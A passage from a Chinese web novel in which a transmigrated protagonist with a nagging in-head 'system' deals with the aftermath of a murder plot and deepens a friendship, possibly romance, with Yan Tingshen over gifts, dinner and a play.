崔凌说:“项海峰正在联系康明。”
秦游道:“嗯,你看着办吧,事后给我结果。”
崔凌也没多话:“好的。”
秦游挂断电话,再转眼看向严庭深,发现对方又拨了一通电话出去,交代结束,才收回手机。
严庭深没看他:“笑什么?”
秦游笑说:“我的事,你总是好像比我还上心。”
系统听到这句话,终于忍不住了:【宿主,你怎么又让目标帮你的忙,这不符合人设啊!】
秦游道:【我代替目标被设计,符合人设吗?】
【……】解释不清的事,系统支支吾吾,【这个……】
秦游道:【想杀我的人,原定对象是目标,他去查想杀自己的人,你认为是在帮我?】
【……对哦,他是在帮自己调查。】
系统羞愧至极,【对不起啊宿主,我又误会你了……】
秦游没跟它计较。
【可是宿主,你怎么不把坏人想杀目标的事告诉目标?你看,连我都误会了,目标不知道你是代他受罪,根本都不感激你,还以为在帮你呢!】
系统又说:【而且告诉目标,目标再告诉主角,主角说不定会亲自去查呢,他对目标还是稍微有那么一点点人情味的。应该、呃,差不多……】
秦游道:【不用。】
他不需要目标的感激,更不需要感激带来的好感度。
再者,如果得知他是代自己受过,以目标的性格,对他的感激倒在其次,他不希望目标因此感到内疚或是自责。
已经发生的事,何必再让目标多想。
那是恶人的责任,有他承担恶果已经足够。
不过,系统也算是提醒了他。
对方的目的没有达成,下一次动手,再针对的对象是他还是目标,尚未可知。
事关人身安全,他有必要提醒目标早做防备。
“你教我滑雪,帮你调查这件事,”短暂的停顿后,严庭深终于找到合适的理由:“就当作我的学费。”
秦游回神,闻言不由轻笑出声:“这么大方,只教一节课,就有这么高的学费?”
严庭深只道:“很高吗。”
秦游笑说:“总之是我占你的便宜,我觉得正好。”
严庭深又看向电脑。
秦游笑意不减,顺着他的视线看过去,对上一闪而过的图片,眸光微沉:“这个孟云哲,听说是严经山的助理?”
严庭深翻回孟云哲的资料:“严经山的助理?”
秦游只是拿这个人打开话题:“别只顾着关心我,你在公司的处境一直不算顺畅,之前出过车祸,还遇过几次意外,难保只是巧合,自己的安全也要多注意。”
严庭深看向身旁,看着这张侧脸。
到了这种时候,他不知道秦游究竟出于什么心情,还在顾及他的安全。
秦游有所察觉,转眼看过去——
严庭深垂眸移开了视线。
他只微微颔首,语气毫无波澜:“我会的。”
第 49 章 唯一他不打算纠正的失控……
下午两点, 启程之前,李丁的事大致有了整体脉络,崔凌了解清楚一切, 才赶来汇报。
上午十点半, “李丁”在医院因抢救无效死亡,警方洗去对方全身的变装,从本来面貌, 识别出对方涉及一个失踪案,几年前就销声匿迹。
而真正的李丁, 通过走访调查, 警方从邻居口中得知李丁家中曾有装修的动静, 很快也从挂画后的墙壁内, 找到了被液氮冷冻的尸体。从听到装修动静的时间推测, 死亡时间是在峰会开始前一天。
“李丁”团伙筹备的时间只会比这更长。
牵扯出人命大案, 犯罪团伙又穷凶极恶, 危险系数极高, 警方也在不停加派人手。
“小秦总, 董事长安排的人和项海峰交接过了, 他们会留在这里继续配合警方找出凶手。”
崔凌跟着秦游上了飞机, “泽水湾那边,董事长也重新做了布置,力保万无一失。”
项海峰带人走在两侧, 听到这句话,不禁看了看秦游,幸好老板没有对他失望的意思。
秦游已经到沙发前坐下。
崔凌接着说:“他说让你不用担心,两具尸体留下的线索,足够破案了。”
秦游只道:“嗯。”
见他没有深入了解的兴趣, 崔凌也识趣地没有多说。
从案件开始到现在,他看出秦游好像根本不在意能不能找到凶手。也好像事情根本不是发生在自己身上。
没有怒火,甚至感觉不到气愤,相关事宜,连他的汇报都懒得听完。
这很反常。
可想到二世祖一直以来的性格,又有那么一点合理。
相比较而言,严庭深那边的阵仗就大了很多。
好像事情是发生在那位身上,和这位简直是反过来一样。
崔凌想着,也坐到一边,没再去打扰。
秦游正看向窗外。
系统正叹气:【唉,宿主,我们要负责的是感情类的任务,怎么做着做着,还要负责调查凶手?真是麻烦,这些有主角帮目标就够了嘛!】
秦游沉眸。
是啊。
原本只是一个普通的任务,怎么事到如今,变得越来越麻烦。
他的初衷是尽快完成任务,尽早脱身离开。
对于这种藏污纳垢的名利场,他一刻也不想久留。
但事情发展,已经在脱离他的掌控。
被动卷入属于目标的战场,不再是秦家试探性的小打小闹,他再想脱身,比之前多了不少阻碍。
何况身在战场,他很难继续置身事外。
秦游转向一旁翻看资料的崔凌。
两具尸体。
这其中,却有一具是无辜受害者。
他很清楚,目标、崔凌、警方,三波人马都在宴会厅那群人身边布有眼线,尤其是这个和他有直接接触的“李丁”。
即使没有他介入,“李丁”也迟早会在这三波人马的监控下露出马脚,只是时间稍有长短罢了。
不过毫无疑问,他不介入,案情绝不会这么快出现进展。
更早一天破案,这个无辜的受害者也许更早一天安息。
他的目标,也许能更早一天找出这个藏头露尾的敌人。
但这有必要吗。
敌人想打入宴会厅内部,不论想设计的是他或是目标,被恶意盯上的受害者注定会死。
原书剧情没有他的存在,一切也依旧会圆满解决。
他去插手,只会陷得更深,更走不出这个旋涡。
秦游闭眼倚在靠背。
他清空思绪,打算好好想一想。
可思想不受控制,脑海里轻轻一闪,一张熟悉的脸渐渐浮现。
是那晚,他刚发现下摆被卷进滑轨,大厅里一片漆黑。
那时他只听到目标的声音,没有亲眼看见。
闭着眼,却赫然是目标逆着人流向他走来的身影。
还是那张看似冷漠的脸,目光专注,一往无前。
‘秦游,你在哪?’
秦游搭在扶手的右手倏地微重,缓缓又睁眼。
不论如何。
不可否认。
和这个人的牵扯,深入得在他意料之外。也是唯一他不打算纠正的失控。
不是作为任务目标。
而作为他前后两辈子,唯一一个无关利益互换、无关交际利用的真心朋友。
只可惜。
作为任务目标,对方身上的麻烦数不胜数,他要脱离这个环境,任务结束的那天,这段友情大约也会渐行渐远。
秦游抬腕看表,再看向窗外。
这个时间。
目标应该也起飞了。
—
“你还没跟我说,你为什么要查这个孟云哲?”齐晏倒了两杯红酒,一杯递给裴笙,又说,“你觉得他有什么不对劲的地方?”
严庭深正看窗外,闻言回眸看他一眼,只淡声问他:“查到什么结果?”
“……”齐晏只能先为好友解惑,“他身上确实有点不对劲。资料你们都知道,我就不介绍了——”
听到这,裴笙也看了看齐晏。
孟云哲。
这个名字他很陌生,这次秦游出事,才出现在他的视野,才知道这是严经山的助理。
可他似乎从没在钧闵见过这个人。是巧合吗?
“——我查的主要是他的账户。”
齐晏打开电脑,转向两人,“这小子藏得很深,名下明面上的账户一直在使用,其实私下还有一个账户。你们肯定想不到这个账户是哪来的。”
看到电脑上的资料,裴笙一怔,看向严庭深。
“哈!”齐晏摇着头说,“真是不查不知道,一查吓一跳,这小子竟然也有严家的私密账户。”
严庭深道:“怎么回事?”
对他这种山崩于前而色不变的平淡反应,齐晏内心有十分咬牙切齿,眼里有两分,面上一分没有,只干笑一声:“……那我还没查到,总之他肯定跟你们严家有关系。”
裴笙皱眉说:“我记得他是单亲家庭,是随母姓吗?”
齐晏打个响指:“猜得没错。”
话说到这,已经足够了。
他们都出身自所谓的豪门,这种事见过不知凡几,早已经见怪不怪。
裴笙说:“严经山的私生子?”
“我怀疑也是,否则严经山为什么特意把人提到身边当助理?”
齐晏点开第二份邮件,“我查的时候不是跟你借了点权限吗,这是他入职以来经手的业务。”
内容不长,很快见底。
齐晏说:“看到了吧,这小子虽然有那么点能力,可他的能力绝对没强到一年连升三级,还破格被严经山直接看中的程度。”
裴笙却注意到另一点:“他跟在严经山身边,反而没接手几个项目?”
齐晏点头:“这个我也奇怪,不过以他们两个的关系,可能严经山对他另有安排吧。”
严庭深说:“他的全部资料,你需要多久?”
“多久……”齐晏摸了摸下巴,“一个私生子,他的账户保密等级肯定不会很高,一周吧,差不多了。”
严庭深颔首:“嗯。”
正事聊完,齐晏又问:“你还没告诉我呢,你到底为什么突然要查这小子?”
说句不好听的,私生子而已,严家多得是,严庭深又怎么会在乎这个。会让他去查这种小人物,肯定有理由。
严庭深说:“你不需要知道。”
“……”齐晏咬牙。
还有王法吗?
还有天理吗?
他又不是真的小弟,忙了这么久,连一个答案都不配知道吗??
齐晏看向裴笙:“你看他!”
裴笙已经开始整合资料:“你自己看吧。”
“……”齐晏说,“你完了,裴笙,在他身边待久了,你迟早也变成机器人。”
裴笙终于抬头看他。
齐晏还没说话。
裴笙先出声:“机器人,总好过人形麻雀。”
“…………”齐晏难以置信,指他的手在颤抖,“你嫌我烦?”
裴笙抿唇,又说:“你先断电。我要把这些资料汇总,发给小秦总的助理。”
齐晏酸溜溜的:“小秦总小秦总,整天就惦记你那个小秦总……”
他就觉得裴笙不对劲。
每次聊起秦游和庭深的事,裴笙总想转移话题,说不定就是救命之恩,无以为报了。
现在倒好,他这个从小一起长大的兄弟,直接混成人形麻雀了!
闻言,严庭深的视线从窗外转来。
裴笙下意识看他一眼,又皱眉看向齐晏:“你胡说什么?”
齐晏也才想起来。
人家小秦总的正牌相好就在旁边坐着呢!
他忙说:“那什么,我的意思是,你要报恩,也没必要事事亲力亲为,这些东西,小秦总那边说不定已经有了。”
裴笙说:“那不一样。”
他们两家查到的东西不是完全相同,交给秦游的助理比对,说不定会有什么发现。
齐晏当然明白,所以应付过严总扫过来的眼神,他咳了一声:“算了,懒得管你,反正我这个麻雀要去休息了,你们忙吧。”
他说完,起身走向休息舱,索性睡了一觉。
到飞机落地,齐晏再从休息舱出来,外面天色已经擦黑。
他知道两人顺路,打着哈欠跟两人告别,独自走向迎来的司机。
裴笙和严庭深也一起上了车。
路上,把崔凌发来的资料看完,再挑重点跟严庭深概述一遍,他住的地方也到了。
下车时,看到严庭深正拿出手机,他本想说的话咽了回去,悄然离去。
严庭深没注意裴笙的神色,只把消息发了出去……:到家了吗?
秦:刚下飞机。
秦:你呢?。:回去的路上。
秦游看着这条消息,笑了笑。
秦:到家报个平安。
秦:我也会的……:好。
秦游收起手机,听到系统振奋地说:【宿主,只有我发现了吗,目标好像对你越来越主动了哦!】
秦游动作微顿。
【太好了!】
系统尽力拍着马屁,【这样下去,以后只要宿主勾勾手,目标岂不是就爱上你了,不费吹灰之力!】
秦游说:【你想多了。】
朋友之间,原本就是互有来往。
是否主动,是谁主动,这样的细枝末节,并不重要。
他在苍滨遭遇谋杀,目标自然会关心他的安全问题,这和“爱上”没有关联。
系统立刻收敛:【宿主说得对,是我想多了,还是宿主考虑周到。】
秦游正要上车,系统提示音又响起。
【紧急预案任务已解锁。】
【检测到目标好感度长时间停滞同一阶段,请宿主设法提升好感度,并加深感情积累。】
紧急预案任务?
秦游眉间刚有痕迹,系统已经发出一声惊叫。
【天呐!主系统自动发布的紧急预案任务!】
秦游问它:【主系统自动发布?】
【对啊宿主,紧急预案任务除非我向上申请,只会有一次机会是主系统自动发布,发布条件也是固定的。】
系统解释说,【这代表,只剩最后一个节点,我们就要开始进入重要剧情节点了!】
第 50 章 “我给你准备了一份小礼……
重要剧情节点?
不等宿主发问, 系统又接着振奋:【太好了宿主,我们终于快要到重要剧情了!只要顺利度过相关节点,任务完成就在眼前!】
它一边说着, 一边美滋滋地查看任务详情页, 看到上面的内容,又变得失落,【就是没想到, 目标居然真的没有爱上宿主……】
秦游也看到了详情内容。
任务要求他提升目标好感,但更重要的, 显然是后半句。
——加深感情积累。
详情页中, 经系统判定, 目标对他没有特殊的感情进展, 所以需要他在三天时限内, 不限方法, 让目标对他产生这样特殊的好感。
简而言之。
三天, 让目标爱上他。
秦游关了系统面板。
这个任务, 他不打算做。
系统还在郁闷:【目标太奇怪了, 明明看起来就是爱上宿主了嘛, 没想到都是装的!真是没品味……】
秦游道:【我说过, 是你想多了。】
系统委屈:【可是宿主,重要剧情是整条主线的转折,按照任务要求, 在节点触发之前,目标必须与宿主处于恋爱状态,现在你们连一点火花都没有,那可怎么办啊?】
秦游道:【别急。】
【……】听到这熟悉的两个字,系统感觉到熟悉的不妙, 【我真急啊宿主!就差最后一个任务了,按照规律,最后一个任务,和重要剧情节点都是有一点关联的,再不急就晚了啊宿主!】
秦游没去在意:【到时候再说。】
【……】系统抓耳挠腮,最后憋出一句,【早知道,不该降低目标好感度的……】
秦游只当没听见。
他回泽水湾休整一夜,第二天到了公司,下午三点,崔凌敲门进来。
崔凌说:“小秦总,苍滨的事有进展了,董事长请你到他的办公室一趟。”
担心二世祖又要装病,他接着补充,“董事长说如果你不方便,他会到这里来。”
闻言,秦游看他一眼。
崔凌微低着头:“我需要怎么回话?”
秦游已经从桌后起身:“走吧。”
崔凌跟在秦游身后出门,又说:“还有,两个小时前,祁副总监也被警察带走了。”
知道二世祖对这件事不会有太大兴趣,他没有特意过来打扰。
可时隔两个小时提起这个消息,他的表情难免有些复杂。
先是秦安栋。
现在是祁海良。
二世祖在苍滨还差点出事,最近的秦氏,实在有点不安稳。
秦游道:“原因。”
崔凌说:“听说也是和祁经理名下的圆微梦金融有关。”
秦游眸光轻动。
圆微梦?
这家公司,明面上只能查出和祁向赫的联系,祁海良会被抓,一定有人暗中深究。
“董事长的意思?”
崔凌摇头:“董事长那边也比较意外。”
秦游脚下微顿。
和秦恒钟无关。
会为他做到这个地步的,只剩那一个。
崔凌看着他的背影,见他不再开口,也没有多话。
到了董事长办公室前不远,门从里面打开了。
崔凌看过去。
是董事长秘书康明。
走在康明之前的,是秦桦和秦艺两兄妹。
应该是听说祁海良被抓后,特意赶来的。
“请慢走。”
门前,康明向两人礼貌道别。
秦桦也笑着对他摆了摆手:“康秘进去吧。”
“好的。”康明微笑着目送两人走远两步,才转身回到办公室。
再走得稍远,秦艺转脸看到秦桦的表情,随口说:“一个秘书,你那么亲热干什么?”
秦桦收敛笑色:“有吗?毕竟是爸的贴身秘书,关系好一点也没坏处。”
他紧接着说,“别说他了,你之后打算怎么办?我看爸是不打算捞人出来了。”
秦艺带着不耐烦:“还能怎么办?就让他受着呗。这对父子没一个让我省心,既然在外面教育不了,就在里面好好改造吧!”
秦桦听她说着,往后看了一眼。
恰巧看见秦游正进门,他脚下一停。
再想到办公室内的人,他又笑了笑,才重新转身。
—
办公室内。
看到秦游,秦恒钟对康明摆手。
康明当即走了出去。
另一个助理走到沙发前,把苍滨的进展叙述一遍。
秦游听他说到一半,已经大致了解。
有了充足的线索,嫌疑人已经全部抓获,只是对方还不肯承认,好在没再有人继续自杀,目前案件处于审讯阶段,应该不日就会有结果。
秦恒钟也一起听完,才对秦游说:“虽然凶手抓到了,但买凶杀人的还没找到,你还是要注意防范。”
对他出于关心的叮嘱,秦游一一答应,再顺着他闲聊几句,才借故离开。
秦恒钟看到秦游起身的动作,也站起身来。
他看着秦游走向门口,终于忍不住说:“秦游,以后遇到麻烦,记得第一时间告诉我,我会帮你解决。”
秦游回眼看他,面上带着笑意:“好。”
对上这样疏远的客气微笑,秦恒钟心头一紧,又说一句:“别忘了,我是你爷爷。”
秦游笑意微敛,看着秦恒钟隐含担忧的双眼,他顿了顿,又笑道:“好。”
话落,他对秦恒钟微一颔首,继续走出房门。
崔凌依旧跟在他身后。
回总经理办公室的路上,也忍不住说:“小秦总,董事长这两天一直很担心你,他——”
秦游道:“好了。”
崔凌熟练地闭嘴。
秦游神情不变。
他不想承担“秦游”的责任,也不想背负属于“秦游”的亲情。
保持目前的疏离,恰到好处。
系统也对配角毫不关心。
发现宿主回到办公室就在打游戏,又把任务抛诸脑后,它连忙提醒:【宿主,一天都过去了,你还不开始任务吗?时间只剩最后两天了!】
秦游道:【不急。】
【……】系统又找到一个理由,【宿主,紧急预案任务的内容是提升好感度,等同于好感度任务,失败一次,是要扣除三点空间能量的!】
秦游道:【还剩几点?】
【……】系统不想出声,【……四点……】
秦游道:【那你急什么?】
系统:【……】
它就知道!
宿主又消极怠工,根本就是不想做这个任务了!
系统急躁。
系统愤怒。
系统立刻抛弃尊严:【宿主,求求你了……我给你跪下了,我给你磕头……】
秦游:“……”
系统有苦必须言:【呜呜呜任务时限只有三天,说明下一个节点肯定会在时限结束后触发,离现在只剩下两天多一点点了……如果到重要节点的时候不达标,任务怎么办啊……】
正在这时。
桌上内线响起。
是李成明。
“秦总,请问您现在有时间吗?”
秦游道:“进来。”
“好的。”
挂断通话,李成明很快敲门进了办公室。
面对秦游,他深吸一口气,做足了准备:“秦总,前两天您不在,我仔细想了想,故事、不是,我和我女朋友的故事已经记得差不多了。”
他祖坟冒青烟才能找到这种领导,可不想被扫地出门。
这两天趁领导不在,他狠狠地恶补了一番渣男知识,绝对能让领导满意!
秦游道:“说吧。”
系统为数不多的优点。
有人说话的时候,它很少插嘴。
李成明忙清清嗓,开始按之前编好的稿子,给领导讲故事。
可是,讲着讲着,被领导看了一眼,他背后一凉,忙先停下:“秦总?”
秦游上下看过他。
相貌平平。
身材平平。
听崔凌的意思,业务能力也是平平。
是什么原因,会让一个女人对他这么死心塌地。
系统见缝插针:【宿主,连这样的人都有恋爱可谈,让目标爱上你简直是小菜一碟啊!】
李成明已经被看得冒冷汗:“秦总,是我哪里说得不好吗……?”
秦游随口问他:“你手里有你女朋友的把柄?”
“……”李成明干声说,“没有……”
意识到可能是故事讲得太过火了,他为自己找补,“那个,其实这些都是我自己找到的错误,说出来,也是想以后改正——”
秦游抬手。
他对员工的心理路程不感兴趣。
目标好感度停在百分之三十四,暂时不需要下降,这些故事也可有可无。
“你去忙吧。”
李成明却又急又慌。
去忙?
他表面是秘书,职责却是说书,现在故事没讲完,领导就让他走……
不行啊……
这么好的工作,他真的不想就这么黄了。
“秦总,我对我女朋友没有总是这样,要不我给您讲点别的?讲我追她的故事?”
秦游对员工的私人感情也没兴趣。
他正要开口,脑海里传来系统的呐喊。
【让他说!让他说!!】
秦游沉默片刻。
比起这样的噪音,李成明至少安静许多。
“说吧。”
李成明长松一口气。
可转念又想到,他根本没追到人,哪里来的故事可讲?
他硬着头皮,又开始编造。
【随叫随到,宿主你绝对做到了,不叫都到呢!经常请客吃饭,这个也勉强做到了,就是还不够经常……】
系统等他说完,开始为宿主总结,【那个每天从早安聊到晚安,一有时间就去陪在人家身边,宿主,你还要加油啊!】
秦游也看向李成明:“每天聊天?聊什么?”
除非有事,他和目标基本不会闲聊。
从早聊到晚,这不知要多少个话题才能维持。
李成明绞尽脑汁:“就是……日常生活,分享一下有趣的事,给她发点笑话什么的……”
秦游看他一眼:“行了。去喝口水吧。”
李成明满脸忐忑地应是离开。
系统忙说:【宿主,你看,现成的方法呢,你试试吧?求求你了!】
秦游敷衍地给崔凌打了个电话,让他收集几个笑话过来。
崔凌听完要求久久沉默,最后认命地说:“好的。”
电话刚挂断,消息提示音响起。
这么快?
秦游挑眉,拿起手机,才发现是目标的消息……:今晚有时间吗?。:上次说过的话剧,还没请你看完。
秦游回复。
秦:有。
秦:几点?。:五点,我在秦氏停车场等你。顺便吃一顿晚餐。
秦氏?
秦游不由意外。
秦:你要过来?。:嗯……:不见不散。
秦游含笑回他。
秦:不见不散。
系统全程旁观,嘀咕一句:【目标变得这么主动,还说不是爱情,主系统是不是出错了……】
秦游已经放下手机。
没过太久,提示音又响起。
这次是崔凌。
秦游看过他发来的笑话,没觉得哪里可笑,但也全部转发给了目标。
很快,对方有了回复……:什么意思?
秦:笑话。
秦:怎么样?。:不好笑。
秦游轻笑一声。
秦:你看完了?。:嗯。
秦游看着聊天框里的默认头像,几乎看到那张面无表情的脸,又笑了笑。
不好笑的东西还要全部看完,目标现在应该也很无聊。
秦:晚上准备吃什么?
聊天另一端。
严庭深看着这条消息,也很快给出回复……:你想吃什么?
会议桌前,众人的视线全都转向章铭。
章铭转向裴笙。
裴笙已经收拾好面前的文件,只例行公事地询问:“严总,会议需要延迟吗?”
严庭深颔首:“半小时。”
裴笙起身,和众人一起离场。
章铭紧随其后,追了两步,到裴笙身边:“哥,严总不是今天要提前下班,才紧急加了个会吗?”
裴笙回头看了一眼,只说:“现在,严总有更紧急的事要处理。”
更紧急的事?
章铭惭愧。
他看严总回消息,还以为又是在跟那位秦总聊天呢。
也对。
只是聊个天,哪里用得上延迟会议半小时啊。以前又不是没在会上聊过,严总也没这样。
章铭想着,回办公室忙完半小时,又回来开完这场会。
会后。
时间转眼到了四点半。
严庭深出发前往秦氏大楼。
到了停车场。
到秦游的专属停车位。
严庭深给秦游发过消息,在车上等到那道身影从出口走来,他薄唇微抿,开门下车。
他等在车前,看到秦游已经看过来,看着秦游渐渐噙起笑意的脸——
这是曾经秦游等他的位置。
他看到的,也曾是秦游看到的角度。
严庭深看着秦游走近。
曾经,秦游站在这个方位,看到这幅场景,又会是什么心情?
“这么准时?”
听到秦游的声音,严庭深眸光稍动,和他一起走到车旁。
秦游正要打开车门。
一只手先他一步,按在了门把手。
秦游转眼,对上严庭深同样看来的目光。
严庭深道:“我来。”
秦游失笑,往后退了一步,对他示意:“好。你来。”
严庭深轻轻打开车门。
秦游正打算上车,看到车座上的东西,不由顿住。
严庭深似乎淡漠的声音又在耳边响起。
“我给你准备了一份小礼物。”
秦游已经看到他口中的礼物。
一捧纯白色的花束,静静横躺在礼盒上。
“很普通。”
秦游再转眼。
严庭深依旧注视着他,曾经冷峻无情的脸上,也正牵起微不可察的浅浅笑意。
“不要期待。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&
50-60
第 51 章 我的想法不重要,重要的……
“这件事, 你怎么知道?”
秦桦坐在车里,听到听筒里传来的话,他皱了皱眉, “除了你, 还有谁知道?”
对面回:“其实大家都有猜测,只是董事长看得紧,搞到明面上又没好处, 所以……你怎么突然提起他,是想?”
秦桦说:“不要轻举妄动, 现在还不是时候。”
话落, 突然看见车窗外、一辆车直直驶进停车场内部。
他皱了皱眉。
这辆车陌生得很, 从没见过。
可这里的安保系统, 除非是有人特意放行, 外来车或人是绝对进不来的。尤其是这辆车进去的路线, 分明比他的位置还要靠里, 安保更多几重, 有不同的出入口。
而再往里, 只有两个车位。
曾经属于老爷子和大哥, 现在, 多了一个秦游的专属车位。
这就是总经理和普通董事的区别。
秦游被老爷子看中,从此每桩每件,事事高他一等。
“没问题。”
对面这时又说, “这段时间,公司里确实风声鹤唳,不提安栋和祁海良的事,就是秦游在苍滨碰了点霉头,董事长都快要把他当成玻璃护着了。”
秦桦先放下车的事, 敲着扶手:“行了。几次交手下来,你还看不出来吗,秦游这小子不是省油的灯。”
当初从恺强科技的舆论入手正面交锋,秦游完美化风波为无形,只看这一点,秦游就绝不是这么多年他以为的那么愚蠢。
可恨那时他一度怀疑是老爷子亲自出手,没太把秦游放在眼里,才导致损失惨重。
秦游不愚蠢。
相反,秦游聪明得让他显得愚蠢。
这么多年,不动声色地让他相信着假消息,所以老爷子下令让秦游回国,他没有阻拦;
后来祁家父子几次失利,却因为总经办的眼线告诉他,秦游从不关心公司事务,都是由崔凌代为处理,他蠢到信了,又让他几次掉以轻心。
直到去了杉韵酒庄。
直到一招走错,圆微梦毁于一旦,秦安栋和祁家父子这几颗棋全被吃下,他才后知后觉——
秦游还假扮着纨绔的角色,实际上暗地里一直在拔除对他接手秦氏不利的钉子。
秦桦猛地攥拳。
这才多久,秦游旗开得胜、所向披靡,他却一上来就被打得措手不及,节节败退。
他怎么也没想到,曾经看不起的那个废物,会成长到今天这个地步。
继续这样下去,有老爷子全力扶持,秦游很有可能真的在秦氏站稳脚跟。
到那一天,他就再也没有机会了。
“就算他有点难缠,毕竟还年轻,迟早会露出破绽的。”
听筒里接着传来声音,“而且你看他不仅在秦家吃不开,到了外面还有这种生死仇人,一看就走不长。可惜在苍滨的那次意外没让他吃点苦头,算他运气好!”
秦桦冷笑:“但愿吧。”
运气?
人的运气不会无穷无尽。
秦游识破一次意外是运气,第二次、第三次,就不可能还是运气。只会是实力。
苍滨经历暗杀也被识破,现在老爷子给秦游准备的安保一定是最顶级,这个时候,想下手是没机会了。
他也确实要找找秦游别的破绽,才能“对症下药”。
秦桦再聊两句就挂了电话,示意司机出发。
出了车位,想到刚才,他转过身体往后看过去。
只有在这条路上才能看到里面的情形。
可惜离得不够近。
秦游正面向他,他还能认得出,另一个人面对秦游,他只能看出是个男人的背影。
但下一刻,两人的动作让他一愣。
背对他的男人可能说了句什么,秦游笑了笑,微微低下头,男人顺势往前一步,把手里的东西围在秦游颈间。
是条围巾。
男人帮秦游围好围巾,似乎还多帮秦游整理了一下衣领——
汽车拐弯,秦桦只好回过身,暗自盘算。
那个男人是谁?
为什么和秦游举止这么亲密?
秦游回国以来,不和任何人走近,而且刚刚经历过生死,怎么会随便放一个外人进来?
这个人,和秦游到底是什么关系?
秦桦回想刚才的画面。
对秦游这个国外回来的,玩男人,不是稀罕事。
可玩到公司,玩到这么信任,玩得这么真心实意,那就另当别论了。
说不定,这就是秦游的破绽。
—
“松紧怎么样?”
秦游笑说:“刚好。”
严庭深说:“你出门总穿得这么单薄,难怪病情会反复。”
“我真的不冷。”
又被他质疑冷暖不知,秦游索性抬手握住他正系围巾的手背,“不信你试。”
温暖的掌心蓦然贴紧,严庭深右手微僵。
然而下一秒,这阵突如其来的暖意又突兀松开。
秦游看着他,笑问:“信了吗?”
呼吸离得太近,声音也近在耳边。
严庭深抿唇,没有看他,继续手里的动作:“我的想法不重要,重要的是事实。”
秦游也没再反驳。
他垂眸看过严庭深动作的手,目光微抬,看着严庭深为他动作时专注的眉眼。
严庭深似乎依旧心如止水,对眼前人咫尺间的眼神毫无所觉。唯独系围巾的指节悄然微重几次,又几次悄然松开。
秦游忽而问他:“你只担心我,怎么不自己也买一条?”
严庭深道:“我没有你那么虚弱。”
秦游失笑。
片刻又开口:“你——”
严庭深的手还落在秦游衣领,终于抬眼看他:“问这么多,你不喜欢?”
秦游笑说:“怎么会?我很喜欢。”
严庭深收手,转身道:“不喜欢的东西,扔了就好,何必勉强。”
秦游无奈,抬手拉住他的手腕:“你怎么一言不合就生气?”
严庭深挣了挣,又被拉回秦游身前。
他往回走了两步,只道:“我没生气。”
“好。我相信你。”
秦游说,“但你听我说完再走。”
严庭深动作微顿,又看他一眼:“你想说什么?”
“我是想说,你的礼物很贴心。没想到你还记得我的小病。”
秦游浸笑的眼和他对视,最后强调,“而且这条围巾很暖,很舒服,我真的很喜欢。”
严庭深僵持的手臂已经松了力道。
他视线往下,扫过秦游被包裹的脖颈,淡淡说:“一条普通的围巾,也值得你这样大惊小怪。”
他不了解秦游的喜好。
但就像秦游说的,喜好可以慢慢摸索。
他今天送这条围巾,只是无意间想起,所以买来送给秦游,仅此而已。
是一份回礼。
也是出于朋友的关心。
闻言,秦游笑意渐浓:“因为这是你送的,所以还不够普通。”
严庭深五指微紧,又转身避开他的视线:“上车吧。”
秦游笑了笑,一起走到车前。
看到依旧躺在车座的白色花束,他笑问:“你是在一比一复制流程吗?连送花这一步都记得。”
严庭深看着他俯身拿花:“风信子。”
秦游转眼看他。
严庭深接着说:“店员推荐。”
熟悉的说辞让秦游轻笑出声。
他微微举花示意:“很漂亮,我也很喜欢。”
严庭深没有意外。
秦游一定喜欢花,才会常常送花。
他原本不打算送这些,以免秦游误会。
但经过种种,尤其经过生死,秦游的性格他已经了解,其实没必要这样防备。
既然是朋友。
既然决定以朋友的关系继续交往,这种多此一举的心理负担,他早应该放下。
秦游对他的感情不是爱情,只要他坦然面对,秦游迟早也会发现这一点。
何况,送礼物,自然该投其所好。
秦游会全心全意摸索他的喜好。
那么,为什么他不可以。
严庭深合起车门,走向另一侧。
系统终于找到机会,连忙提醒:【宿主,你看目标现在主动送上门来,还给你送礼物,肯定很好攻略,以宿主你的魅力,随便应付几下,好感度马上就涨上去了!】
秦游道:【是吗?】
【是啊!】
系统说,【任务要求好感度提升到下一阶段,也就是百分之四十,宿主,只有六点而已,还不是轻轻松松?】
百分之四十。
正好是主线好感度任务的解锁条件。
秦游道:【先不急。】
【……】系统急得想哭,看到目标也上了车,才委屈地提醒第二件事,【那……宿主,就算不涨,目标现在的好感度已经偏低,坚决不能再降了,你千万不要在他面前再提起以前的事啊……】
秦游道:【嗯。】
任务失败,好感度停滞,他现在也不需要降低目标好感。
至于,目标的过往。
那些事毕竟涉及目标心底最痛苦的阴影,即便是为降好感,他以后也不会再提。
他看向一旁扶手上的风信子。
保持目前的状态,维持目前的关系,已经足够。
“先去吃饭。”
秦游再抬眼看向严庭深,含笑颔首:“好。”
严庭深抿唇,视线转向车前:“苍滨那边,我会继续帮你盯着。用不了太久,他们会开口的。”
秦游笑说:“又是礼物,又是帮我做这些,太辛苦你了。”
严庭深没接这句话,只接着说:“等到一切水落石出,你可以安心一些。”
秦游轻笑看他:“你也能安心一些。”
严庭深却也转眼看他,面色不改,语气如常:“没错。我也会安心一些。”
秦游微顿。
严庭深和他对视一眼,很快收回视线。
没多久,车到餐厅前。
秦游和严庭深一起吃过饭,出餐厅后在月色下步行到剧院。
这一家剧院要比之前更大,包厢也是五脏俱全。
秦游进门后看到矮几两侧的一对沙发,不由笑着看了严庭深一眼。
系统也叹气。
没爱上果然是没爱上,竟然还在防备宿主又去亲他,目标的戒心真是太强了!
这句话它没敢跟宿主说。
不过想想宿主的智商,好像根本用不着它说。
秦游已经和严庭深一起坐下。
这次没有降好感的私心,除中场休息,他没再和目标交谈。
直到表演结束,话剧散场。
严庭深转眼看向秦游:“你觉得这部剧怎么样?”
之前,秦游看得并没有这样投入。
秦游道:“不错。”
经过时间和观众考验的作品,内容都很优秀。
严庭深说:“如果你喜欢,下一次可以去看同作者的另一部,也算不错。”
秦游笑说:“好。”
两人聊着,并肩出门。
看到秦游的车也停在门前,严庭深又看向他。
秦游抬腕看表。
一顿晚饭,加上三小时的演出,时间已经将近十点。
但不要紧,也来得及。
秦游回望严庭深的目光,语气一如既往:“走吧,我送你回家。”
严庭深却没答应:“不用。”
秦游挑眉。
严庭深接着说:“今天的礼物,让我送到底。”
他的话说到这,秦游已经会意,不由轻轻笑了。
严庭深眼底也渐渐染进如出一辙的温度。
他说:“走吧。我送你回家。”
第 52 章 那年,我才四岁。
两人一起回到泽水湾。
秦游看过天色, 看过时间,索性对严庭深说:“今晚别走了。”
严庭深看向他。
